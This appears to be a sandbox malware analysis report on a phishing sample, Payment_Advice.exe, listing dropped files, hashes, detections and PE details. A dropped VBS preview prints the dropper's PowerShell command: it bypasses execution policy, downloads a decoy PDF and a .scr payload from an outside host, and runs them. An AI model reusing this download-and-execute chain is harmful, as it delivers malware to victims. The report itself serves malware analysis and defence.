Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.887486353364779
Encrypted:	false
SSDEEP:	192:Pxoe5lpOdxoe56ib49Vsm5emdzVFn3eGOVpN6K3bkkjo5LgkjDt4iWN3yBGHB9sT:lVib49PVoGIpN6KQkj2kkjh4iUx4cYK6
MD5:	E3CC2E628C73E9D29D58817DFC1ADCC5
SHA1:	3720336F2BCB67ADACD9FED9645AC3FFDC67928D
SHA-256:	6C52B5B7085CA1A5EB18B7C7FF740BEC18D0911CCF7B321B4668EF725A912F3B
SHA-512:	6C5DC96D036DD24BE29720F1568EE70DB069EE5F3F91D59289A9E597C699D4BEBEBA5525B43B3BC7EAE3D467211C6826137FEF1A57E42593DB6E308A2237EE32
Malicious:	false
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	data
Category:	dropped
Size (bytes):	1634
Entropy (8bit):	3.551963477893781
Encrypted:	false
SSDEEP:	24:T8umgCjOO5OWWeiVhfzBpnUMkWBiGfzzX+mzUMkWD+m862DeynNCjOy3:T8upCjO2We+tfHY8bLHLB2DlnIjd3
MD5:	95DB312E30DD0364924E7B45D1AB6FA8
SHA1:	1FF6577F81C4DF9FC6BF0B91E7421E46A24D43DE
SHA-256:	E469EA6ED5267E8984305A6F6EFCB3D2942199B80E06C340C7199B82CFF230F9
SHA-512:	6236BE94169639CB2B202B7741256CA1A3E39E8DE8AAA14A957F2BD18FE1953DAD3ACA2BB2597505EE2C7120DB6D34FC4C5CBB9756945034CAF00FC7F553AAD5
Malicious:	true
Preview:	S.u.b. .R.u.n.P.o.w.e.r.S.h.e.l.l.C.o.m.m.a.n.d.(.)..... . . . .D.i.m. .o.b.j.S.h.e.l.l.,. .p.s.C.o.m.m.a.n.d......... . . . .'. .C.r.e.a.t.e. .S.h.e.l.l. .o.b.j.e.c.t..... . . . .S.e.t. .o.b.j.S.h.e.l.l. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".W.S.c.r.i.p.t...S.h.e.l.l.".)......... . . . .'. .C.o.m.b.i.n.e.d. .P.o.w.e.r.S.h.e.l.l. .c.o.m.m.a.n.d.s. .t.o. .r.u.n..... . . . .p.s.C.o.m.m.a.n.d. .=. .".p.o.w.e.r.s.h.e.l.l...e.x.e. .-.E.x.e.c.u.t.i.o.n.P.o.l.i.c.y. .B.y.p.a.s.s. .-.C.o.m.m.a.n.d. .".".I.n.v.o.k.e.-.W.e.b.R.e.q.u.e.s.t. .-.U.r.i. .'.h.t.t.p.s.:././.a.d.v.i.s.i.n.g.-.r.e.c.e.i.p.t.s...c.o.m./.h.s.b.c./.P.a.y.m.e.n.t._.A.d.v.i.c.e...p.d.f.'. .-.O.u.t.F.i.l.e. .'.C.:.\.U.s.e.r.s.\.P.u.b.l.i.c.\.P.a.y.m.e.n.t._.A.d.v.i.c.e...p.d.f.'.;. .S.t.a.r.t.-.P.r.o.c.e.s.s. .'.C.:.\.U.s.e.r.s.\.P.u.b.l.i.c.\.P.a.y.m.e.n.t._.A.d.v.i.c.e...p.d.f.'.;. .I.n.v.o.k.e.-.W.e.b.R.e.q.u.e.s.t. .-.U.r.i. .'.h.t.t.p.s.:././.a.d.v.i.s.i.n.g.-.r.e.c.e.i.p.t.s...c.o.m./.h.s.b.c./.h.a.d.v.i.c.e.s...s.c.r.'. .-.

C:\Users\user\AppData\Local\Temp\MSI4e076.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5030768995714583
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K80QQRIKlYH:Qw946cPbiOxDlbYnuRKzI+YH
MD5:	4D83892F6EE2B2F86D3DDAECFF1250E2
SHA1:	465969122223224693317BE1690A094D01922271
SHA-256:	DC42AA189D385A5C32B20A5DCDF2F0FD7399166A02A9CD7CAAD3442597268415
SHA-512:	616F4D855782B76E6D8612CEAA0CA6452DBFA383000BE9F4DA0B2EFF0515F6B7A50C9F0AF44A2DAE0D0EC083E23F3F7DCAABB8C10FBF943E213AF85199F79950
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.1./.0.5./.2.0.2.4. . .1.5.:.1.7.:.2.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bfkztsop.5yd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k51jbhqe.hkh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-05-01 15-17-11-261.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.366813486546421
Encrypted:	false
SSDEEP:	384:7cY9IIpM9KK/tqd8GJUcQj8MRpfgGWNr49Kk8qTFKTpbacTUB8aE1EJY1/yDogwT:oW
MD5:	90035F3ACDDB6B05B7A39E7282D8A843
SHA1:	7B1F551D29B8E7979D25D31BD4344E99D7E18696
SHA-256:	525EC9E8A070C938C98B76AA2533B6F4791A9C34045E2551679749843DC1DACA
SHA-512:	787762D9F596F1BBCE2CAE4F6E1B69ECD4192D502C12A1B118D6535C9B9142346ACAEF9B95BB0F2AB7C5B18087A0DE0BCCD0BD46134D453B22D571C2A51F8075
Malicious:	false
Preview:	SessionID=09abd8c7-8e20-4434-9928-8825cb929d21.1714569431270 Timestamp=2024-05-01T15:17:11:270+0200 ThreadID=7716 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=09abd8c7-8e20-4434-9928-8825cb929d21.1714569431270 Timestamp=2024-05-01T15:17:11:271+0200 ThreadID=7716 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=09abd8c7-8e20-4434-9928-8825cb929d21.1714569431270 Timestamp=2024-05-01T15:17:11:271+0200 ThreadID=7716 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=09abd8c7-8e20-4434-9928-8825cb929d21.1714569431270 Timestamp=2024-05-01T15:17:11:271+0200 ThreadID=7716 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=09abd8c7-8e20-4434-9928-8825cb929d21.1714569431270 Timestamp=2024-05-01T15:17:11:271+0200 ThreadID=7716 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.409948720880984
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRc:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRW
MD5:	D389049B18267087CDA342F54E299486
SHA1:	717FCFAC73E136101843780D545E792F5A9BD46A
SHA-256:	4B08B1A0E522A05FBEDF2A1F2D02D74405F9A8A0FC4A8042F42152B14AFAA9FB
SHA-512:	BA610BFD7D606265DCD0FA0FCFDDB1DC6D09187B985E735636D89E9B78AF8102DE53BBEBB273D66ECD9B0EEB98813550BB33DC0BC102EAB3EE4F8D945FEABDD0
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\79871d27-0a6d-4cd6-b73d-e2d46aa9b4ce.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7YYIGNPpe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZ4
MD5:	C57D91A805775D5A645457EBBB9EAF26
SHA1:	D407ABE7E7C9A9C78346CA781EB1B77E61060250
SHA-256:	149A8DA0889E336CBA0CF06D34DDA729E69CA491E8B8FCEDD6C0DD5647BB6D43
SHA-512:	1E7C93F0702D97F4E911C3EA029E599CF93BBA9C17156D95F1B301CA53C643F55582105E86572550C02E549A58841EEA64E038B7858703AF5453F1A37B1F3C29
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9f7c0cdb-c909-4e29-af04-38acd963e81f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d1ee8daa-a8ce-4d69-b25f-47a9fefe7d26.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1111944
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121D1ybxrr/IxkB1mabFhOXZ/fEa+fDERXTJJJJv+9UZwY0SWB4:O3Pjegf121DMNB1DofjEiJJJJm94GS84
MD5:	FA6978A9EA472E8ACFF72AFE8CC7CC81
SHA1:	D58155446B67ACF4DA331A977B8EC7BA105C2C4F
SHA-256:	3D0DF2B14FC632520705424D2DA394922D3EDD8C977950656B736352CD5A37E2
SHA-512:	6B16382E6A4B9EECB8E8FB82189C2741511E8CF99C83B3FA52B062165B3B366EE0C11A7F60CE4B08D881B2418234097FA13CCAA9C90B1D7D37BD4D9A56EBA96C
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d8e14f58-9577-42bf-9621-9055a66d181f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Temp\hadvices.scr

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1041408
Entropy (8bit):	6.655555563448097
Encrypted:	false
SSDEEP:	12288:vjU00pFjzc/AKVH/bcZb8lSnnJ8HMiEJy5EDbRFd1Sch9hNiERMDUIPMbP:H0s39wuEJ8U1hVRMDUzbP
MD5:	012DE24142F859797FBB5A25A7A3290D
SHA1:	85D6C307D84921B5A914D083FDB7DB22F2AAE865
SHA-256:	17E0BBF042B7403409739925E10C2FCF406C4DC269C189BCAABC8693A2F95D9B
SHA-512:	B3A58F443FACAAC2571CDCB21D188D2716923C9405841310D674180D755EBA47FC34C2A027DBB67BC27FA733E9066A6809E9658EA90D919C4540E4B968F4C94F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Windows\Temp\hadvices.scr, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 35%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....3...............0.................. ........@.. .......................@............@.....................................S............................ ....................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......................D...............................................@....+.......>.."V...]...}..D...........@....+.."V..D........ .......,...+..'W...V..G.....................................@.......0.......................@.......0.......................@.......0.....Y.......~....".. ........................................._!._&._,._.._?._^._\|._\|\|._S.+.A.AA.ADV.AE.AEX.AH.AI...AN..AO.AOE.AOX...API.ASP.ATR.AU...AX.AXR.B.BB.BH.BIM.BVA.BVD.C.CC...CC2.CCK.CEN.CH...CH2.CJ.CT.C

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.460820661403651
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Payment_Advice.exe
File size:	957'952 bytes
MD5:	e708aa3160e224de971421d5bc2fee29
SHA1:	7db6e4d3e5e2db1cd12717fa9a62a35a52834c02
SHA256:	ba78d6ffbd1bd564598b33a3d28d437b3fe7129ffb93dee80e732e44098b9aa9
SHA512:	47bff81600e4ff9e0a4fdbfa5f16141057bfca9fc0117cc2950428f6c627830482fc683c942a48ca77d37c3f4031d2585999453ce7c877eba6428cfe9ed2eff2
SSDEEP:	12288:zjU00pFjzc/AKi9r4atz4fM3F58HMiEJy54ll8zhc6O6vo6Oh8IPMbP:L0s3iN4atkA/8Rze78zbP
TLSH:	20156A593BE44657DDBA433F60EB49396BB9EC0A2213EB0F0381B57A3C13398D8515A7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....3...............0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	131313132b1fdf7a

Static PE Info

General

Entrypoint:	0x4ea08e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xDD330B0C [Thu Aug 7 15:51:40 2087 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
